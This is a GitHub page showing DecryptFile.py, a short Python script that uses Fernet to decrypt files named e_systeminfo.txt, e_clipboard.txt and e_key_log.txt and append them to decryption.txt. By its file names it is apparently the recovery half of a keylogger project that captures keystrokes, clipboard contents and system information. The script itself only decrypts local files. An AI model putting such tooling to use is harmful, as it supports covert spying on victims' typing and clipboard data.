forked from wasmerio/Python-Scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathDecryptFile.py
More file actions
27 lines (17 loc) · 793 Bytes
/
Copy pathDecryptFile.py
File metadata and controls
27 lines (17 loc) · 793 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
''' Fernet guarantees that a message encrypted using it cannot be manipulated or read without the key. Fernet is an implementation of symmetric (also known as “secret key”) authenticated cryptography. '''
from cryptography.fernet import Fernet
''' Get key from the GenerateKey.py file '''
key = ""
system_information_e = 'e_systeminfo.txt'
clipboard_information_e = 'e_clipboard.txt'
keys_information_e = 'e_key_log.txt'
encrypted_files = [system_information_e, clipboard_information_e, keys_information_e]
count = 0
for decrypting_files in encrypted_files:
with open(encrypted_files[count], 'rb') as f:
data = f.read()
fernet = Fernet(key)
decrypted = fernet.decrypt(data)
with open("decryption.txt", 'ab') as f:
f.write(decrypted)
count += 1